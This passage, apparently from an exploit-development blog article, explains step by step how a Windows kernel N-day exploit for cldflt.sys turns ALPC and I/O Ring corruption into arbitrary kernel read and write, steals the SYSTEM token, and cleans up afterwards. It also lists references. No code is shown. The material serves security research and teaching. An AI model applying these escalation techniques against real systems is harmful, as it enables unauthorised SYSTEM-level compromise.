- FindIoRingObjectAddress function reads the kernel handle from HIORING, enumerates all kernel handles using NtQuerySystemInformation(SystemExtendedHandleInformation, class 64), uses the PID and handle value against SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX array, and the final task is to return the correct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.Object value. This value is used in Stage 22.
- In Stage 21, the exploit saves the _EPROCESS.Token of SYSTEM process in two formats, one with refcount bits stripped off, which will be used for verification, and other with the raw content that will be used as payload to replace the exploit's _EPROCESS.Token with the SYSTEM's token. Additionally, the _EPROCESS addresses of own exploit and System are also saved, as well as the PID of winlogon process for reference. If readers check the code, g_system_eprocess and g_our_eprocess must be valid kernel pointers. g_winlogon_pid == 0 produces a warning but does not fail the stage.
- As Stage 22 is completely different from previous versions of exploits, I have subdivided it into multiple steps (A to H), which made my life easier to debug each component due to issues I had while writing and adjusting this stage. Initially, I also had plans to remove such marks, but I left then because they could help readers to get a better understanding of each task.
- In Step A, I have created the I/O Ring (CreateIoRing), and details are in the values passed as arguments. Choosing IORING_VERSION_3 that supports both read and write operations (Version 1-2 only support read) was a logical and natural choice but providing 0x10000 and 0x20000 for Submission Queue and Completion Queue, respectively, was much more when necessary because I

would submit only one operation at a time, but as the kernel would allocate the ring regardless, so I have kept such values.

- In Step B, the exploit creates a named pipe for the I/O Ring data channel and, comprehensibly, are used for writing and reading. The first one is used for write, via WriteFile function, to kernel memory (user data → pipe → kernel address), which under the I/O Ring's perspective means that it reads from pipe_client into buffer at kernel address. The second one is used for kernel reading (kernel address → pipe → user data) via ReadFile function, which from I/O Ring perspective means that it writes from buffer at kernel address into pipe_client. A simplified scheme follows:

    - (User view: write | I/O Ring view: read) user data → pipe → kernel address
    - (User view: read | I/O Ring view: write) kernel address → pipe → user data

- In Step C, there is already one IORING_OBJECT that was created in Step A and thus the exploit also has only I/O Ring handle, which was saved in g_ioring_handle. This IORING_OBJECT has been allocated in kernel pool when NtCreateIoRing function was called internally. At this point I created and used FindIoRingObjectAddress function, which is a helper function that performs three small tasks. The first task is to extract the kernel handle value from HIORING. The second task is to enumerate all kernel handles via NtQuerySystemInformation function. The third task is to find our handle by matching two fields simultaneously, which are SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.UniqueProcessId == exploit's PID and SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.HandleValue == kernelHandle. The UniqueProcessId value choice was because I was interested in focusing on the exploit's handles themselves, and the HandleValue was because I was interested in finding the exact IORING_OBJECT handle created in Step A.
- Although I have explained it previously, by corrupting RegBuffersCount to 1 and RegBuffers to point to our user-mode g_fake_buffers_array, the kernel resolves buffer index 0 to our fake IOP_MC_BUFFER_ENTRY. As result, as we control IOP_MC_BUFFER_ENTRY.Address and IOP_MC_BUFFER_ENTRY.Length, we gain an arbitrary kernel write primitive: we can write any data (from the pipe that we created in prior steps) to any kernel address. In my opinion, which is the beauty of the process because it is possible to control exactly the length of written data.
- In Step D, the exploit allocates the fake IOP_MC_BUFFER_ENTRY structure that will be a central part of the exploitation. Although all values are important, two of them could not be apparently critical, but they are. ReferenceCount must be 1 because the kernel decrements it during the cleanup phase and, if it is zero, the kernel skips the buffer because it believes that it is free. The AccessMode must be 1 (UserMode) to bypass kernel-mode address probing. If it were setup to 0 (KernelMode), the kernel would call ProbeForWrite exactly on IOP_MC_BUFFER.Address, and additional MDL validation would happen too. However, we want to skip any additional probe and write directly to the address because, at the end, the objective is getting an arbitrary kernel write primitive.
- In Step E, the exploit allocates a single-element array using VirtualAlloc function, this single-element array will contain a pointer (g_fake_buffer_entry, which holds a pointer and it is allocated in user-space) to the buffer fake entry (holds a pointer, and it is also allocated in user-space). There are a few observations that need to be done here. IORING_OBJECT.RegBuffers is typed as IOP_MC_BUFFER_ENTRY**, which is a pointer to an array of pointers (maybe would be easier whether it was a direct pointer to a buffer entry, but it is not). Therefore, it is something like

IORING_OBJECT.RegBuffers → g_fake_buffers_array[0] → g_fake_buffer_entry, which holds an IOP_MC_BUFFER_ENTRY pointer in user mode. That is the good trick because the kernel follows the IORING_OBJECT.RegBuffers that normally would point to kernel, but as it was corrupted (via ALPC write primitive), then it points to the user-space memory. At the end, the complete sequence is IORING_OBJECT.RegBuffers → g_fake_buffers_array[0] → IOP_MC_BUFFER_ENTRY.Address, and this last one points to kernel. Finally, as it points to a kernel address, we can write to any address that we want to. A curious and beautiful aspect of this exploitation technique is that first we use an ALPC write-primitive technique to corrupt kernel structure (IORING_OBJECT) and point to a fake array in user-space. However, at the end, the first element of this array points to an IOP_MC_BUFFER_ENTRY, which we want that its Address field point to an address in kernel space.

- In Step F, it is time to use the ALPC write primitive, which is actionable once, and overwrites IORING_OBJECT.RegBuffersCount and IORING_OBJECT.RegBuffers fields with a 16-byte write. IORING_OBJECT.RegBuffersCount could be zero, but we must change it to 1 (we have already explained it), and IORING_OBJECT.RegBuffers will hold the address of g_fake_buffers_array, which will redirect the kernel execution from kernel pool memory to user-space fake array that has been setup on Step E. Afterwards, any call to BuildIoRingReadFile function with buffer index 0 will write pipe data to whatever address we set in IOP_MC_BUFFER_ENTRY.Address (remember: this view is from kernel perspective and not application/user perspective). There is a safe check in this step and, before corrupting fields from structure, the exploit tests whether IORING_OBJECT.RegBuffersCount = 0 and IORING_OBJECT.RegBuffers = NULL to be sure that there are no buffers registered. I have included it to prevent any unexpected issue.
- In Step G, the exploit matches changes done on IORING_OBJECT (kernel-mode) with HIORING structure (user-mode) to prevent inconsistences that will cause invalidation by BuildIoRingReadFile function before adding a submission queue entry to the submission queue (this entry will be submitted to kernel via SubmitIoRing function later). The correlation is kept by attributing the value of IORING_OBJECT.RegBuffersCount to HIORING.BufferArraySize and the value of IORING_OBJECT.RegBuffers to HIORING.RegBufferArray.
- In Step H, the exploit makes a counter-proof of code executed by Step F, where the ALPC mechanism has been used to send ALPC messages across all ports to force one of them to trigger the corrupted KALPC_RESERVE → KALPC_MESSAGE chain (similar to ALPC version of this exploit) and copy 16 bytes to IORING_OBJECT.RegBuffersCount, which consequently also overwriting IORING_OBJECT.RegBuffers because each of these fields hold a 8-byte value. However, during the exploit execution, there is no certain that this task has really worked. Therefore, the only way that it could be confirmed would be using pipe read mechanism (kernel address → pipe → user data) and checking whether such values have been really written to IORING_OBJECT. I added this stage in a second moment after writing the exploit because I have realized that I was assuming that the fields overwrite had worked, but I did not have certain about it.
- If readers have remember of my explanation on Stage 22 (composed by 8 steps) above, you will realize that at the end the goal is to setup IORING_OBJECT.RegBuffersCount, IORING_OBJECT.RegBuffers, HIORING.BufferArraySize and HIORING.RegBufferArray, and make sure that they are correct.
- Stage 23, which is divided into short steps (A to I) performs the token stealing itself, but this time using the I/O Ring primitive that has been established in Stage 22. In general, the objective of this stage is to replace the exploit process's _EPROCESS.Token with the SYSTEM token, which has been

saved into g_system_token_raw from Stage 21. Using the I/O Ring write primitive obtained in Stage 22, the exploit writes exactly 8 bytes to _EPROCESS.Token and without touching in the adjacent field, which would be a bit harder to manage with the previous ALPC write primitive due to its minimum write of 16 bytes (if you remember, in the exploit_token_stealing_edition.c, I have tried to setup a 8-byte write, but kernel silently skipped the copy and no error, no crash and no write occurred).

- In Step A, the stages initiate by attempting to read the current _EPROCESS.Token via pipe read-primitive got in Step B. However, issues here are much more subtle and they basically reflect tough problems I had during this exploit development. The read operation via pipe works by invoking ReadKernel64(address) function, which calls RefreshPipeCorruption function. RefreshPipeCorruption is going to set fake PipeAttribute fields such as AttributeName (g_fake_attr_name), AttributeValueSize to 8 and AttributeValue to a target kernel address. Afterwards, the second-wave WNF overflow is performed, and such a task re-corrupts the target pipe attribute's PipeAttribute.list.Flink to point to g_fake_pipe_attr. Afterwards, NtFsControlFile (FSCTL_PIPE_GET_PIPE_ATTRIBUTE) function is called, and the kernel walks the pipe attribute linked list via exactly using PipeAttribute.list.Flink, which finds the attribute matching "hackedpfakepipe", and dereferences PipeAttribute.AttributeValue as a pointer. Once dereferencing has been done, it copies 8 bytes from the kernel address into the output buffer. Thus, the output should have the data (content) of the provided kernel address. However, after Stage 22, the pipe read operation sometimes returned the address itself instead of the content stored in the address, which was something like calling ReadKernel64(0xFFFFBB89F7A82466), but got as return the value 0xFFFFBB89F7A82466 that was the address itself instead of the content stored there. Personally, I observed it on Stage 22 (Step H) and exactly in Stage 23 (Step A), and it caused a waste of time because everything worked well in Stage 22 (up to Step H) but broke when Stage 23. After I have rewritten a part of Stage 22, this problem has stopped, but I kept this visual verification here (Step A from Stage 23) to be sure about the perfect exploit execution. My first guess is that the issue happened in the transition between step F (first-wave WNF overflow) and calling for RefreshPipeCorruption function that uses a SECOND-wave WNF overflow (g_wnf_names_second[g_victim_index_second]) to re-corrupt the pipe attribute each time. My second guess is that there would be some kind of heap layout shift in Step F that, when reaches the execution point of RefreshPipeCorruption function, cause this undesirable side-effect. No doubt, I could have verified and have done a further investigation using WinDbg. After I have adjusted the code in a few places, it has got a bit, but it continues occurring, even though it does not cause a bad effect and exploit still works perfectly. Therefore, if the value read equals the address passed, the pipe is broken, and the test is really simple (if (pre_token == token_target || pre_adjacent == (token_target + 8))), which tests and checks the content of Token and MmReserved fields, which cannot be their own addresses. If the pipe reading is determined as not-reliable, the verification in Step G is skipped, but it does not affect the exploitation process itself because the actual write is performed using an independent data channel (g_input_pipe_server / g_input_pipe_client), which is completely separate from the pipe read primitive. At the end, step A is technically remarkably interesting (at least for me) because it provides visual confirmation that, in debugging phase, was particularly important. Author notes: as pipe read primitive is fragile, it will be changed for something better in the next article.

- In Step B, the exploit effectively configures the fake buffer entry by setting the target address and transfer size in the fake IOP_MC_BUFFER_ENTRY. In another words, this step has as main goal to set IOP_MC_BUFFER_ENTRY.Address = EPROCESS.Token address and IOP_MC_BUFFER_ENTRY.Length = 8, which allows to replace the token in next steps.
- In Step C, the exploit writes the raw SYSTEM token (8 bytes that includes EX_FAST_REF bits) into the pipe buffer.
- In Step D, there are multiple small tasks happening. The pipe client handle and registered buffer index 0 are retrieved. BuildIoRingReadFile function reads from the retrieved pipe and adds the submission queue entry into the Submission Queue, and in special into registered buffer 0.
- In Step E, everything in Submission Queue (in this case, just one entry) is submitted to the kernel by calling SubmitIoRing function. As result, the kernel reads 8 bytes from the pipe (the raw SYSTEM token) and writes them to the address provided by IOP_MC_BUFFER_ENTRY.Address. If you remember, BuildIoRingReadFile function was called with bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0), which means something like "write the read result into registered buffer index 0". Based on this fact, it looks up IORING_OBJECT.RegBuffers[0] and finds our fake IOP_MC_BUFFER_ENTRY. Afterwards, and according to I/O Ring design, the IOP_MC_BUFFER_ENTRY.Address is the destination where I/O data goes. Here we have a relevant concept because in legit usage (it is not our case), IOP_MC_BUFFER_ENTRY.Address should point to a user-mode buffer, probably allocated using VirtualAlloc function. In exploitation scenarios, we want that this address to be a kernel address (_EPROCESS.Token in this case), and surprisingly the kernel does not reject the address (a kernel address) only because IOP_MC_BUFFER_ENTRY.AccessMode = 1 (UserMode) has been setup to 1. Moreover, it also helps us because the kernel does not do any validation because it assumes that such an address has already been validated. Finally, once the operation finishes, the kernel post a completion queue entry into the Completion Queue with the result.
- In Step F, PopIoRingCompletion function is called, which forces the kernel to read the completion queue entry from Completion Queue to determine whether the operation (token replacement) has been succeeded and also how many bytes have been transferred. At this point, we have a primary success indicator, and next one in Step G is only secondary.
- In Step G, the exploit uses a flag created in step A because if pipe_read_reliable == TRUE, the pipe is used to read data again and make a token comparison with the saved SYSTEM token. At the same way, the adjacent field (_EPROCESS.MmReserve) is read to be sure whether any corruption has happened. If the SYSTEM's token is confirmed and the non-corruption of the adjacent field has not happened then everything is good as expected.
- In Stage 24, the exploit already had SYSTEM's token, and consequently an equivalent privilege. Actually, this stage is identical to Stage 23 of the exploit_token_stealing_edition.c, and I have only adapted the banners, prints and stage number.
- The cleanup phase seems to be an easy phase, but I can ensure that it is not. Actually, I have made a series of adjustments until getting a working cleanup, which performs the following tasks:

    - Restore pipe Flink via I/O Ring write (must be before step 1).
    - Zero IORING_OBJECT.RegBuffersCount, which subsequently also overwrites IORING_OBJECT.RegBuffers. Remember that in ALPC write-primitive a single 16-byte is able to set up RegBuffersCount=0 and RegBuffers=NULL at once.

  - Reset HIORING user-mode structure fields to match with fields from IORING_OBJECT structure.
  - Call CloseIoRing function.
  - Close ALPC ports (0x800 handles in our case).
  - Call VirtualFree function to free fake KALPC structures.
  - Close pipes.
  - Call VirtualFree function to free fake I/O Ring structures.
  - Delete WNF names (skip victims!)
  - Close exploit pipes, delete files and unregister sync root.

- The main reason about why I managed to stabilize the exploit appropriately was that the I/O Ring primitive remains alive even after the exploit has been succeed, which it is a resource that I did not have in ALPC write-primitive edition.
- The exploit reads g_leaked_pipe_attr's Blink via pipe read to find corrupted pipe attribute then use the I/O Ring write primitive to restore the original Flink value to the corrupted pipe attribute.
- I have tried to cleanup WFN victims but like for exploit_token_stealing_edition.c, this was the wrong move, no doubt. Simply leaving them there does not cause any bad side-effect.
- If I had not zeroed fields from IORING_OBJECT and HIORING structure the consequences would have been a solid crash. When CloseIoRing function is called, the kernel always walks IORING_OBJECT.RegBuffers and try to free/dereference each entry. If RegBuffers still points to our user-mode fake array, the kernel dereferences a user-mode address, which can have been potentially freed, and the crash is unavoidable.
- Closing all ALPC ports was not difficult, and it was predictable and planned.

This finishes my comments about this exploit_ioring_edition_01.c version.

09. References

For readers who may be interested in obtaining details on the topics mentioned here, a brief list of valuable resources follows below:

- **Microsoft Learn:** https://learn.microsoft.com/en-us/windows-hardware/drivers/
- **Windows Internals 7th edition book (Parts 1 and 2)** by Pavel Yosifovich , Alex Ionescu, Mark Russinovich, David Solomon, and Andrea Allievi.
- **I/O Rings - When One I/O Operation is Not Enough (by Yarden Shafir):** https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
- **One Year to I/O Ring - What Changed (by Yarden Shafir):** https://windows-internals.com/one-year-to-i-o-ring-what-changed/
- **One I/O Ring to Rule Them All (by Yarden Shafir):** https://windows-internals.com/one-i-o-ring-to-rule-them-all/
- **IoRing vs io_uring (by Yarden Shafir):** https://windows-internals.com/ioring-vs-io_uring/
- **IoRingReadWritePrimitive (GitHub) (by Yarden Shafir):** https://github.com/yardenshafir/IoRingReadWritePrimitive

- **Scoop the Windows 10 pool! (by Corentin Bayet and Paul Fariello):** https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
- **The Next Generation of Windows Exploitation: Attacking the Common Log File System (ShiJie Xu/@ThunderJ17, Jianyang Song/@SecBoxer and Linshuang Li):** https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf
- **Playing with the Windows Notification Facility (WNF) (by Gabrielle Viala):** https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
- **CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 (by Alex Plaskett):** https://www.nccgroup.com/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
- **Exploiting Reversing (ER) series: article 06 | A Deep Dive Into Exploiting a Minifilter Driver (N-day) (by Alexandre Borges):** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/

10. Conclusion

This article offered an in-depth analysis of the development process of two different versions of N-day exploits for a real mini-filter driver (cldflt.sys) presented in the ERS_06 article. Undoubtedly, both exploits are more sophisticated than the first two presented in the previous article, and the second exploit (exploit_ioring_edition_01.c) in particular presents several distinguished aspects.

I sincerely hope you have learned a little more about the real journey of developing exploits for N-day vulnerabilities in depth and that you have understood the techniques presented, the details, the constraints, the execution logic, and the associated Windows concepts.

The following articles will continue the work developed in this series and I will present other detailed exploit development procedures, using different approaches and techniques.

Just in case you want to stay connected:

- **X: @ale_sp_brazil**
- **Bluesky: @alexandreborges.bsky.social**
- **Mastodon:** https://infosec.exchange/@alexandreborges
- **Blog:** https://exploitreversing.com

Keep developing exploits and I see you at next time!

Alexandre Borges